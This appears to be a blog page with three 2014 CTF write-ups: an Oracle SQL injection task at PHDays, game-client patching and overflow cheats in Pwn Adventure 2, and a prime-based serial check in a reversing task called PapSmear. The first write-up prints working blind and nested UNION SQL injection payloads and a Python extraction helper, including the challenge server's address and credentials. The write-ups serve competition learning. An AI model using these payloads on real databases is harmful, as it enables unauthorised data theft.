Monday, January 27, 2014

PHDays CTF Quals - Oracle writeup

The PHDays CTF Qualifier just ended. The tasks were pretty hard, but rewarding as well. Oracle was one of the harder tasks, but after a lot of trying and failing, I managed to solve it and was quite happy.


Van chase

All we get in the task description is an IP address and basic auth credentials. It is also hinted that there is a secret code for a product in the database that we need to find. When we try to access the page we get a message saying that the website is under construction. There are no cookies, nothing in the source of the page, and nothing in the metadata of the displayed PNG image. But if we check robots.txt, we get a clue:
User-agent: *
Disallow: /address_shops.php?city=Moscow
Moving on, we can check what address_shops.php does.


Since the task is called Oracle, there is no way that this is not an SQLi challenge. Before we jump straight to the injection part, we can find a very helpful hint in the source of the page:
<!-- /address_shops.php?debug= -->
If we pass the debug parameter in the request, we will see the whole SQL query as a comment in the page source. This helps a lot, especially since the original query is not very typical or guessable.


The hotel

Let's start injecting stuff and see if we can get some data from the database. The original query looks like this, and there are no restrictions or filters on the input:
SELECT shop_pkg.get_city_branches('$city') AS branch FROM dual
These injected queries worked as expected, but UNION SELECT just didn't work. We guessed that it's because the stored procedure returns something that cannot be unioned with normal rows. So the only solution seemed like blind injection. I have a homebrew 'framework' for blind injection, I just had to write a get_bit function that leaks data from the database one bit at a time. It looked something like this:
def get_bit(payload):
    url = "http://195.133.87.173/address_shops.php?debug&city="
    resp = requests.get(url + payload, auth=('admin', 'P@ssw0rd9823_#@!hhqqyi'))
    return len(resp.text) > 1500
The payload was something like this, depending on what we wanted to leak:
payload = "Moscow') as branch from dual where chr(%d) < (select substr(text,%d,1) from (select text,row_number() over (order by line asc) as rn from dba_source where owner='PHD_IV') where rn=" + sys.argv[1] + ")--"
Ugly huh? So we were stuck for a long time here. I tried dumping various parts of the db, but I always seemed to ask the wrong questions. The goal was of course to find something related to products in the database, but we didn't have access to some key parts of the db, and I didn't realize this until later.

Then I found that there are 2 other users that may be interesting: PHD_IV_OWNER1 and PHD_IV_OWNER2. The original user was PHD_IV. After this, it was a bit clearer that there are parts that just cannot be accessed from our own user, and we need to do something about it. 

Then finally, we dumped the code for the package that contains the function get_city_branches. This was very useful, because there was another SQL injection in the procedure itself that we didn't realize earlier. We had to go deeper


Snow fortress

Here is the code for the package that had the second vulnerability: https://gist.github.com/balidani/81cf5fe6f777c418d4f0

The problem is on line 21, where the parameter is just concatenated with the query string, which is then evaluated. Since we are one level deeper here, we need to use 2 apostrophes, so that they are escaped on the first level, but evaluated on the second. This is how the new query will look like, which finally enables us to inject stuff using UNION queries.
?city=a'' union select to_char(1) from dual--
We were also stuck here for some time, but not quite as long as on the previous step. We dumped many parts of the database, and found out about the table secret_products. We still didn't have access to this table, so we had to keep looking for other ways. Eventually we found that PHD_IV_OWNER2 has a package called shop_private_pkg. This package has functions that can access the table with the secret products.

After loading the sources for this package, we found yet another vulnerability.


Limbo

Here is the code for the third vulnerability: https://gist.github.com/balidani/51809708269b28fc5109

After some inspection we can find that the function GET_PRODUCT_QUANTITY has the same problem as we've seen before, so we can exploit this the same way. One small problem is that the result for this query has to be a number, so we had to convert things accordingly.
Since this package is owned by PHD_IV_OWNER2, we now have access to secret_products. Single apostrophes now have to be passed as '''' to be interpreted properly.

We started by dumping the column names for the secret_products table. One of the first column names was hidden_code, where we quickly stopped, because that's a very strong hint for the flag. This is a query that we used to dump column names.
?city=a'' union all select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(''A'''' union select ASCII(substr(a,%d,1)) from (select column_name as a,row_number() over (order by column_name asc) as rn from ALL_TAB_COLUMNS where table_name=''''SECRET_PRODUCTS'''') where rn=%d--'')) from dual--
There were 23 products, but only 1 with a hidden_code, so we dumped it with the following query.

?city=x'' union select to_char(PHD_IV_OWNER2.shop_private_pkg.GET_PRODUCT_QUANTITY(''A'''' union select ASCII(substr(hidden_code,%d,1)) from (select hidden_code from PHD_IV_OWNER1.SECRET_PRODUCTS where hidden_code is not null)--'')) from dual--
The resulting flag was: 9l5_q24y_2g7_r18_6g4

Thanks to the PHDays guys for making a very challenging CTF! I enjoyed it a lot.

Monday, January 20, 2014

Ghost in the Shellcode 2014 - Pwn Adventure 2 writeups

Pwn Adventure 2 is a full MMO-like game designed by the creators of the CTF, with some pwning in mind. It uses Unity, and there is a separate DLL file (on Windows) for the game logic, which was allowed to be reversed and patched.

We used .NET Reflector with the Reflexil plugin for the occasional patching.

Cave of Nope and Moon Boots

After solving Ad Subtract, Cave of Nope was the second task we've solved. We discovered what to do pretty easily after exploring the area called "Creepy Cave". Here is a picture of the huge gap that we needed to get through in order to fight the Spider Queen.

Mind the gap

We started exploring the .NET assembly and found something very promising shortly.


We also updated the constants in UpdateMovement to make the running speed much faster. This allowed us to get past the gap and two of us successfully defeated the evil Spider Queen.

Reenactment
Even though Moon Boots is based on something very similar, we ended up solving that at the very end. It took us time to figure out how to enter the Moon level, and we only realized how to get there based on IRC logs. Initially we tried to enter the level by replacing level files, but this didn't allow us to take the items from the chest. Then we realized that if this worked, we would have been able to solve every task this way.

The final solution was to create a negative gravity and jump out of bounds on a normal map. This teleported us to the moon.

Changing -9.81 to 0.5 did the trick

Unbearable

For this task we had to crack a chest in a map full of bears. The chest took 5 minutes to crack and the less time we had, the more dangerous it was. In the last 90 seconds, bears actually start shooting at you with machine guns. It was clear that we need to be invincible to solve this. We tried patching the client in many different ways, but nothing seemed to take effect on the server side. Then we found out about driking wine through reading the code. This solved our problems. We also needed to jump on top of the chest to avoid other attacks, but we already had high jumps patched.




A Boaring Quest

For this task, we needed to take down 9800 boars. This seemed too tedious, so we decided to cheat. We came up with a rather ugly solution, but it worked. In GameServerConnection we found a QuestKill method, which had the following anonymous method inside:
internal void <>m__51()
{
    try
    {
        GameServerMessage message = new GameServerMessage(GameServerMessage.Command.QuestKillCommand);
        message.GetWriter().Write(this.enemyName);
        message.Serialize(this.$this.stream);
        this.$this.bytesSent += message.length;
    }
    catch (Exception)
    {
        this.$this.Stop();
    }
}
Instead of returning from the function in the end, we just jumped to the beginning again. This is not an elegant solution at all.

Rabbit of Caerbannog

To solve this task, we needed to defeat a rabbit, which seemed invincible at first. After reading parts of the code, we realized that we need a "Holy Hand Grenade" to kill it. To get the grenade, we needed 89 gears, which were supposed to be purchased using real money as an in-game purchase (this part wasn't implemented, just suggested). Here is the relevant code:
if (!this.$this.player.inventory.AdjustQuantityForItem(
    "IAP", -this.quantity * this.itemPrice))
{
    this.result = false;
    this.error = "Not enough Gears for this purchase.";
    this.doneEvent.Set();
}
else
{
    // Get the item
}
If -this.quantity*this.itemPrice is a negative value (as supposed), we will never have enough gears to buy something, since there is no mechanism in the game to get gears. However, if we do an integer overflow, the sign of the expression will change and we not only get a lot of grenades, but a lot of gears too.



Entering 999,999,999 for the number of grenades to buy did the trick.

Pwn Adventure 2 was the most impressive CTF task (well set of tasks) I have seen. Thanks again to the Ghost in the Shellcode team.

Sunday, January 19, 2014

Ghost in the Shellcode 2014 - PapSmear writeup

This was a reversing task for 150 points. There was a python script which asked for a serial. If the serial we enter is accepted, we get a key. Here is the original source: https://gist.github.com/balidani/f91d5011365aea897768

The source is kind-of obfuscated, but not too badly. After making things prettier, this is what we came up with:

#!/usr/bin/python
from collections import defaultdict as d
from itertools import count as c
from operator import mul as m

def generate_primes():
    _b, __b = [], d(list)

    _c = 1
    for a in c():
        if a < len(_b): _c = _b[a]
        else:
            _c += 1
            while _c in __b:
                for b in __b[_c]: __b[_c+b]+=[b]
                del __b[_c]
                _c += 1
            __b[_c+_c]+=[_c]
            _b.append(_c)
        yield _c

def prime_factors(n):
    for _c in generate_primes():
        if _c > n: return
        _d = 0
        while n % _c == 0: _d, n = _d + 1, n / _c
        if _d != 0: yield _c

def relative_prime(x, y): 
    # return ___a(x * y) == ___a(y) * ___a(x)
    from fractions import gcd
    return gcd(x, y) == 1

def in_bounds(i, j):
    if not 10000 < i < 100000:
        return False
    if not 100 <= j <= 999:
        return False
    return True

def is_prime(n):
    import math
    if n < 2:
        return False
    i = 2
    while i <= math.sqrt(n):
        if n % i == 0:
            return False
        i += 1
    return True

def main():
    try:
        c = raw_input('Serial: ').split('-')
        
        if len(c) != 6: 
            raise
        for x in range(0, 6, 2):
            # c[x] is 5 chars long, c[x+1] is 3
            if not in_bounds(int(c[x]),int(c[x+1])):
                raise 

            # Tests if c[x] is a prime
            if not is_prime(int(c[x])):
                raise

            # Tests whether c[x] and c[x+1] are relative primes
            if not relative_prime(int(c[x]), int(c[x+1])):
                raise

            # c[x] and c[x+1] have to be unique
            if len([y for y in c if y == c[x]]) > 1:
                raise
            if len([z for z in c if z == c[x+1]]) > 1: 
                raise

        c.reverse()

        for k in range(7,10):
            a,b = int(c.pop()),int(c.pop())
            for x in [a+b*n for n in range(k)]:
                if not is_prime(x):
                    raise

        with open('flag.txt','r') as f:
            print f.read()
    except:
        print 'Bzzt. Wrong!'
 
if __name__ == '__main__': 
    main()

Basically, we need to enter 3 sections that consist of a large (5 char long) and a small (3 char long) number. The large numbers all have to be prime. The second part of the algorithm checks that all the numbers of the form a+b*n are prime, where a is the big number, b is the small number and n goes from 0 to k; k is 7 for the first part, 8 for the second and 9 for the third. Based on this, it is pretty straightforward to brute force a serial.

Additionally, one of my teammates discovered a very nice trick to bypass the part that makes sure we entered 3 different sections. The numbers are compared in string form, and so we can prepend a 0 to them and they will appear different. Since int() uses base 10 by default, this isn't a problem in python (other languages may detect octal notation). In the end, we couldn't use this method, it didn't work remotely for some reason.

I wrote this script to brute force a serial:

def serial_test(b, s, k):
    for x in [b+s*n for n in range(k)]:
        if not x in big_primes:
            return False
    return True

def main():

    primes = generate_primes()
    p = primes.next()

    while p < 10000:
        p = primes.next()
    while p < 100000:
        big_primes.append(p)
        p = primes.next()

    for s in range(100, 1000):
        print s
        for b in big_primes:
            if serial_test(b, s, 9):
                print b, s

This script was rather slow, it took about 2-3 seconds to check a single s value (with k=9). We could have made tons of changes to make it fast, but we decided not to waste time and just ran this in parallel. In the end we found 3 values that work up to k=9, though we only needed k=8 and k=7 for two of these. The resulting serial was: 61637-420-10859-210-10861-840. Sending this to the server resulted in a key: "ThesePrimesAreNotIllegal". 

Thanks to AKG and KT, and the whole SpamAndHex (Lite) team. Thanks to the Ghost in the Shellcode team for making this amazing CTF, we had lots of fun.